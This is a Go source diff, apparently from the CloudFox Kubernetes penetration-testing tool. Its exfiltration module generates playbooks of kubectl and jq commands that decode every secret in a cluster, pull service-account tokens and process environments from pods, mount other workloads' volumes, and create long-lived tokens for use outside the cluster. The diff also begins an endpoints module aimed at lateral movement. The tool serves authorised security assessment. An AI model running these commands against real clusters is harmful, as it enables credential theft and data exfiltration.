riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Generate output
|
||||
tables := module.buildExfilTables()
|
||||
loot := module.generateExfilLoot()
|
||||
|
||||
output := DataExfiltrationOutput{
|
||||
Table: tables,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"data-exfiltration",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_DATA_EXFIL_MODULE_NAME), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) buildExfilTables() []internal.TableFile {
|
||||
headers := []string{
|
||||
"Risk Level",
|
||||
"Source",
|
||||
"Scope",
|
||||
"Principal",
|
||||
"Principal Type",
|
||||
"Method",
|
||||
"Target Resource",
|
||||
"Permissions",
|
||||
"Role",
|
||||
"Binding",
|
||||
"Description",
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
// Sort by risk level (CRITICAL first)
|
||||
sortedPaths := make([]attackpathservice.AttackPath, len(m.AllPaths))
|
||||
copy(sortedPaths, m.AllPaths)
|
||||
sort.Slice(sortedPaths, func(i, j int) bool {
|
||||
return shared.RiskLevelValue(sortedPaths[i].RiskLevel) > shared.RiskLevelValue(sortedPaths[j].RiskLevel)
|
||||
})
|
||||
|
||||
for _, path := range sortedPaths {
|
||||
scope := path.ScopeName
|
||||
if path.ScopeType == "cluster" {
|
||||
scope = "cluster-wide"
|
||||
}
|
||||
source := path.SourceType
|
||||
if source == "" {
|
||||
source = "core"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
path.RiskLevel,
|
||||
source,
|
||||
scope,
|
||||
path.Principal,
|
||||
path.PrincipalType,
|
||||
path.Method,
|
||||
path.TargetResource,
|
||||
strings.Join(path.Permissions, ", "),
|
||||
path.RoleName,
|
||||
path.BindingName,
|
||||
path.Description,
|
||||
})
|
||||
}
|
||||
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "DataExfiltration",
|
||||
Header: headers,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) generateExfilLoot() []internal.LootFile {
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "##### Kubernetes Data Exfiltration Commands")
|
||||
lootContent = append(lootContent, "##### Generated by CloudFox")
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
riskCounts := countExfilRiskLevels(m.AllPaths)
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low))
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Section: Secrets
|
||||
secretPaths := filterExfilByCategory(m.AllPaths, "Secrets")
|
||||
if len(secretPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### SECRETS - Extract credentials, API keys, certificates")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range secretPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Role: %s via %s", path.RoleName, path.BindingName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional secret extraction commands
|
||||
lootContent = append(lootContent, "# Additional secret extraction commands:")
|
||||
lootContent = append(lootContent, "# Decode all secrets in a namespace:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -n <namespace> -o json | jq '.items[].data | map_values(@base64d)'")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Find TLS certificates:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -A --field-selector type=kubernetes.io/tls -o wide")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Find docker registry credentials:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -A --field-selector type=kubernetes.io/dockerconfigjson -o json | jq '.items[].data[\".dockerconfigjson\"]' -r | base64 -d")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: ConfigMaps
|
||||
configmapPaths := filterExfilByCategory(m.AllPaths, "ConfigMaps")
|
||||
if len(configmapPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### CONFIGMAPS - Extract configuration data")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range configmapPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Logs
|
||||
logPaths := filterExfilByCategory(m.AllPaths, "Logs")
|
||||
if len(logPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### LOGS - Extract pod logs (may contain sensitive data)")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range logPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional log extraction commands
|
||||
lootContent = append(lootContent, "# Search logs for sensitive patterns:")
|
||||
lootContent = append(lootContent, "kubectl logs <pod> | grep -iE '(password|secret|token|key|credential)'")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: Data Extraction via Exec
|
||||
execPaths := filterExfilByCategory(m.AllPaths, "Data Extraction")
|
||||
if len(execPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### DATA EXTRACTION - Extract files from containers")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range execPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional data extraction commands
|
||||
lootContent = append(lootContent, "# Extract files via kubectl cp:")
|
||||
lootContent = append(lootContent, "kubectl cp <namespace>/<pod>:/path/to/file ./extracted-file")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Extract environment variables:")
|
||||
lootContent = append(lootContent, "kubectl exec <pod> -n <namespace> -- env | grep -iE '(password|secret|token|key|credential|database|api)'")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Extract SA token from running pod:")
|
||||
lootContent = append(lootContent, "kubectl exec <pod> -n <namespace> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: Token Exfiltration
|
||||
tokenPaths := filterExfilByCategory(m.AllPaths, "Token Exfil")
|
||||
if len(tokenPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### TOKEN EXFILTRATION - Generate SA tokens for external use")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range tokenPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Storage
|
||||
storagePaths := filterExfilByCategory(m.AllPaths, "Storage")
|
||||
if len(storagePaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### STORAGE - Access persistent volume data")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range storagePaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Group by namespace for targeted exfiltration
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### GROUPED BY NAMESPACE")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
for namespace, paths := range m.NamespacePaths {
|
||||
if len(paths) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("## Namespace: %s (%d paths)", namespace, len(paths)))
|
||||
|
||||
// Group by category within namespace
|
||||
secretsInNs := filterExfilByCategory(paths, "Secrets")
|
||||
if len(secretsInNs) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Secrets access: %d principals", len(secretsInNs)))
|
||||
lootContent = append(lootContent, fmt.Sprintf("kubectl get secrets -n %s -o yaml", namespace))
|
||||
}
|
||||
|
||||
configmapsInNs := filterExfilByCategory(paths, "ConfigMaps")
|
||||
if len(configmapsInNs) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# ConfigMaps access: %d principals", len(configmapsInNs)))
|
||||
lootContent = append(lootContent, fmt.Sprintf("kubectl get configmaps -n %s -o yaml", namespace))
|
||||
}
|
||||
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Summary of high-value targets
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### HIGH-VALUE TARGETS")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Cluster-wide secret access is most dangerous:")
|
||||
clusterSecretPaths := filterExfilByCategory(m.ClusterPaths, "Secrets")
|
||||
if len(clusterSecretPaths) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Found %d principals with cluster-wide secret access", len(clusterSecretPaths)))
|
||||
for _, path := range clusterSecretPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# - %s (%s) via %s", path.Principal, path.PrincipalType, path.RoleName))
|
||||
}
|
||||
} else {
|
||||
lootContent = append(lootContent, "# No cluster-wide secret access found")
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Build playbook content using centralized attackpathService function
|
||||
clusterHeader := fmt.Sprintf("Cluster: %s", globals.ClusterName)
|
||||
playbookContent := attackpathservice.GenerateExfilPlaybook(m.AllPaths, clusterHeader)
|
||||
|
||||
// Fallback to legacy playbook if centralized returns empty
|
||||
if playbookContent == "" {
|
||||
methodGroups := groupExfilByMethod(m.AllPaths)
|
||||
playbookContent = m.generateExfilPlaybook(methodGroups)
|
||||
}
|
||||
|
||||
return []internal.LootFile{
|
||||
{
|
||||
Name: "DataExfiltration-Commands",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
},
|
||||
{
|
||||
Name: "DataExfiltration-Playbook",
|
||||
Contents: playbookContent,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// generateExfilPlaybook creates a reference-style guide for data exfiltration organized by data type
|
||||
func (m *DataExfiltrationModule) generateExfilPlaybook(methodGroups map[string][]attackpathservice.AttackPath) string {
|
||||
var content []string
|
||||
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "##### Data Exfiltration Playbook")
|
||||
content = append(content, "##### Reference Guide by Data Type")
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "")
|
||||
|
||||
// Secrets
|
||||
content = append(content, `
|
||||
##############################################
|
||||
## SECRETS
|
||||
##############################################
|
||||
# Extract credentials, API keys, TLS certificates, SA tokens`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Secrets"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with secret access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all secrets cluster-wide:
|
||||
kubectl get secrets -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,TYPE:.type'
|
||||
|
||||
# Extract and decode ALL secrets:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n\(.data | to_entries | map(" \(.key): \(.value | @base64d)") | join("\n"))"'
|
||||
|
||||
# Find ServiceAccount tokens:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"'
|
||||
|
||||
# Find TLS certificates and keys:
|
||||
kubectl get secrets -A --field-selector type=kubernetes.io/tls -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n cert: \(.data["tls.crt"] | @base64d | split("\n")[0])...\n key: \(.data["tls.key"] | @base64d | split("\n")[0])..."'
|
||||
|
||||
# Find Docker registry credentials:
|
||||
kubectl get secrets -A --field-selector type=kubernetes.io/dockerconfigjson -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data[".dockerconfigjson"] | @base64d)"'
|
||||
|
||||
# Find Opaque secrets (often contain passwords):
|
||||
kubectl get secrets -A --field-selector type=Opaque -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | map_values(@base64d))"'
|
||||
|
||||
# Search secrets for specific patterns:
|
||||
kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"' | grep -iE '(password|token|key|secret|credential)'`)
|
||||
|
||||
// ConfigMaps
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CONFIGMAPS
|
||||
##############################################
|
||||
# Extract configuration files, connection strings, environment variables`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "ConfigMaps", "Config Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with configmap access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all configmaps:
|
||||
kubectl get configmaps -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name'
|
||||
|
||||
# Extract all configmap data:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n\(.data | to_entries | map(" \(.key): \(.value[:100])...") | join("\n"))"'
|
||||
|
||||
# Search configmaps for sensitive data:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value)"' | grep -iE '(password|secret|token|key|database|connection|jdbc|redis|mongo)'
|
||||
|
||||
# Find kubeconfig files in configmaps:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[] | select(.data | to_entries[] | .value | contains("apiVersion: v1") and contains("clusters:")) | "\(.metadata.namespace)/\(.metadata.name)"'`)
|
||||
|
||||
// Pod Logs
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD LOGS
|
||||
##############################################
|
||||
# Extract sensitive data from application logs`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Logs"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with log access")
|
||||
}
|
||||
content = append(content, `
|
||||
# Get logs from all pods in a namespace:
|
||||
for pod in $(kubectl get pods -n NAMESPACE -o name); do echo "=== $pod ==="; kubectl logs $pod -n NAMESPACE --all-containers 2>/dev/null | head -100; done
|
||||
|
||||
# Search logs for sensitive patterns:
|
||||
kubectl logs POD_NAME -n NAMESPACE --all-containers | grep -iE '(password|secret|token|key|credential|error|exception|failed)'
|
||||
|
||||
# Get previous container logs (after crash):
|
||||
kubectl logs POD_NAME -n NAMESPACE --previous
|
||||
|
||||
# Stream logs with timestamps:
|
||||
kubectl logs -f POD_NAME -n NAMESPACE --timestamps
|
||||
|
||||
# Get logs from all containers in all pods:
|
||||
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{"\n"}{end}' | while read ns pod; do echo "=== $ns/$pod ==="; kubectl logs $pod -n $ns --all-containers 2>/dev/null | grep -iE '(password|secret|token|api.key)' | head -10; done`)
|
||||
|
||||
// Pod Exec / Data Extraction
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD EXEC / DATA EXTRACTION
|
||||
##############################################
|
||||
# Execute commands in containers to extract files and data`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Data Extraction", "Etcd Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with exec permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Extract environment variables (often contain secrets):
|
||||
kubectl exec POD_NAME -n NAMESPACE -- env | sort
|
||||
|
||||
# Extract SA token from inside container:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
|
||||
# Extract CA cert and namespace:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
|
||||
# Copy files from container:
|
||||
kubectl cp NAMESPACE/POD_NAME:/path/to/file ./local-file
|
||||
|
||||
# Find and extract sensitive files:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- find / -name "*.key" -o -name "*.pem" -o -name "*.env" -o -name "*config*" 2>/dev/null
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /app/.env 2>/dev/null
|
||||
|
||||
# Extract database connection from common locations:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /app/config/database.yml 2>/dev/null
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /etc/mysql/my.cnf 2>/dev/null
|
||||
|
||||
# Dump process memory for secrets:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /proc/1/environ | tr '\0' '\n'`)
|
||||
|
||||
// Storage / PVC
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## STORAGE / PERSISTENT VOLUMES
|
||||
##############################################
|
||||
# Access data stored in persistent volumes`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Storage"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with storage access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all PVCs:
|
||||
kubectl get pvc -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,VOLUME:.spec.volumeName,STORAGECLASS:.spec.storageClassName'
|
||||
|
||||
# Find PVCs bound to interesting PVs:
|
||||
kubectl get pv -o json | jq -r '.items[] | select(.spec.hostPath != null) | "\(.metadata.name): hostPath=\(.spec.hostPath.path)"'
|
||||
|
||||
# Create a pod to mount and read PVC data:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pvc-reader
|
||||
namespace: TARGET_NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: reader
|
||||
image: alpine
|
||||
command: ["sleep", "3600"]
|
||||
volumeMounts:
|
||||
- name: data
|
||||
mountPath: /data
|
||||
volumes:
|
||||
- name: data
|
||||
persistentVolumeClaim:
|
||||
claimName: TARGET_PVC_NAME
|
||||
EOF
|
||||
|
||||
# Then exec in and browse:
|
||||
kubectl exec -it pvc-reader -n TARGET_NAMESPACE -- ls -la /data
|
||||
kubectl exec -it pvc-reader -n TARGET_NAMESPACE -- find /data -type f -name "*.sql" -o -name "*.dump" -o -name "*.bak"`)
|
||||
|
||||
// Token Generation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## TOKEN GENERATION
|
||||
##############################################
|
||||
# Generate SA tokens for use outside the cluster`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Token Exfil"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with token generation permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Generate token for a service account:
|
||||
kubectl create token SA_NAME -n NAMESPACE
|
||||
|
||||
# Generate long-lived token (1 year):
|
||||
kubectl create token SA_NAME -n NAMESPACE --duration=8760h
|
||||
|
||||
# Generate token with specific audience:
|
||||
kubectl create token SA_NAME -n NAMESPACE --audience=https://my-service.example.com
|
||||
|
||||
# Use generated token externally:
|
||||
TOKEN=$(kubectl create token SA_NAME -n NAMESPACE)
|
||||
curl -sk -H "Authorization: Bearer $TOKEN" https://KUBERNETES_API/api/v1/namespaces`)
|
||||
|
||||
// CRD Secrets (cert-manager, external-secrets, vault)
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CRD-BASED SECRETS
|
||||
##############################################
|
||||
# Extract secrets from cert-manager, external-secrets, vault, etc.`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "CRD Secrets (Certs)", "CRD Secrets (ExtSecrets)", "CRD Secrets (CSI)", "CRD Secrets (Vault)"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with CRD secrets access")
|
||||
}
|
||||
content = append(content, `
|
||||
# cert-manager - List certificates:
|
||||
kubectl get certificates -A -o wide
|
||||
kubectl get certificates -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): secret=\(.spec.secretName)"'
|
||||
|
||||
# cert-manager - Extract certificate and key from secret:
|
||||
kubectl get secret CERT_SECRET -n NAMESPACE -o json | jq -r '.data["tls.crt"]' | base64 -d
|
||||
kubectl get secret CERT_SECRET -n NAMESPACE -o json | jq -r '.data["tls.key"]' | base64 -d
|
||||
|
||||
# external-secrets - List ExternalSecrets:
|
||||
kubectl get externalsecrets -A -o wide
|
||||
kubectl get externalsecrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): target=\(.spec.target.name)"'
|
||||
|
||||
# external-secrets - View SecretStore configs (may reveal cloud credentials):
|
||||
kubectl get secretstores -A -o yaml
|
||||
kubectl get clustersecretstores -o yaml
|
||||
|
||||
# Vault - List VaultAuth configs:
|
||||
kubectl get vaultauths -A -o yaml
|
||||
kubectl get vaultconnections -A -o yaml
|
||||
|
||||
# secrets-store-csi - List SecretProviderClasses:
|
||||
kubectl get secretproviderclasses -A -o yaml`)
|
||||
|
||||
// Custom Resources
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CUSTOM RESOURCES
|
||||
##############################################
|
||||
# Extract sensitive data from application-specific CRDs`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Custom Resources"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with custom resource access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all CRDs in the cluster:
|
||||
kubectl get crds -o custom-columns='NAME:.metadata.name,GROUP:.spec.group'
|
||||
|
||||
# Find CRDs that might contain sensitive data:
|
||||
kubectl get crds -o name | xargs -I{} kubectl get {} -A -o yaml 2>/dev/null | grep -iE '(password|secret|token|key|credential)' | head -50
|
||||
|
||||
# Common sensitive CRDs to check:
|
||||
kubectl get sealedsecrets -A -o yaml 2>/dev/null # Bitnami Sealed Secrets
|
||||
kubectl get externalsecrets -A -o yaml 2>/dev/null # External Secrets Operator
|
||||
kubectl get secretclaims -A -o yaml 2>/dev/null # Crossplane
|
||||
kubectl get databaseclusters -A -o yaml 2>/dev/null # Database operators`)
|
||||
|
||||
return strings.Join(content, "\n")
|
||||
}
|
||||
|
||||
// groupExfilByMethod groups paths by their Method field
|
||||
func groupExfilByMethod(paths []attackpathservice.AttackPath) map[string][]attackpathservice.AttackPath {
|
||||
groups := make(map[string][]attackpathservice.AttackPath)
|
||||
for _, path := range paths {
|
||||
groups[path.Method] = append(groups[path.Method], path)
|
||||
}
|
||||
return groups
|
||||
}
|
||||
|
||||
// getExfilEntitiesForMethods returns unique entities that have any of the specified methods
|
||||
func getExfilEntitiesForMethods(methodGroups map[string][]attackpathservice.AttackPath, methods ...string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var entities []string
|
||||
|
||||
for _, method := range methods {
|
||||
if paths, ok := methodGroups[method]; ok {
|
||||
for _, path := range paths {
|
||||
key := fmt.Sprintf("%s:%s", path.PrincipalType, path.Principal)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
entities = append(entities, fmt.Sprintf("%s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return entities
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func countExfilRiskLevels(paths []attackpathservice.AttackPath) *shared.RiskCounts {
|
||||
counts := shared.NewRiskCounts()
|
||||
for _, path := range paths {
|
||||
counts.Add(path.RiskLevel)
|
||||
}
|
||||
return counts
|
||||
}
|
||||
|
||||
func filterExfilByCategory(paths []attackpathservice.AttackPath, category string) []attackpathservice.AttackPath {
|
||||
var filtered []attackpathservice.AttackPath
|
||||
for _, path := range paths {
|
||||
if path.Category == category {
|
||||
filtered = append(filtered, path)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,521 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
v1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
var EndpointsCmd = &cobra.Command{
|
||||
Use: "endpoints",
|
||||
Aliases: []string{"ep"},
|
||||
Short: "List all cluster Endpoints with security analysis",
|
||||
Long: `
|
||||
List all cluster Endpoints with comprehensive security analysis including:
|
||||
- Service discovery and classification (databases, admin panels, control plane)
|
||||
- Risk-based scoring for prioritized targeting
|
||||
- Direct network access commands for lateral movement
|
||||
- Service-specific exploitation techniques
|
||||
- Unauthenticated service detection
|
||||
cloudfox kubernetes endpoints`,
|
||||
Run: ListEndpoints,
|
||||
}
|
||||
|
||||
type EndpointsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t EndpointsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t EndpointsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type EndpointFinding struct {
|
||||
Namespace string
|
||||
ServiceName string
|
||||
EndpointIP string
|
||||
Port int32
|
||||
Protocol string
|
||||
Readiness string
|
||||
ServiceType string
|
||||
ServiceDesc string
|
||||
RiskLevel string
|
||||
IsExternal bool
|
||||
HasAuth bool
|
||||
PodName string
|
||||
ServiceAccount string
|
||||
TargetRef string
|
||||
Hostname string
|
||||
}
|
||||
|
||||
func ListEndpoints(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating endpoints for %s", globals.ClusterName), globals.K8S_ENDPOINTS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Using v1 Endpoints API for broader compatibility (deprecated in k8s 1.33+, use EndpointSlices for newer clusters)
|
||||
// Fetch all endpoints using cached call
|
||||
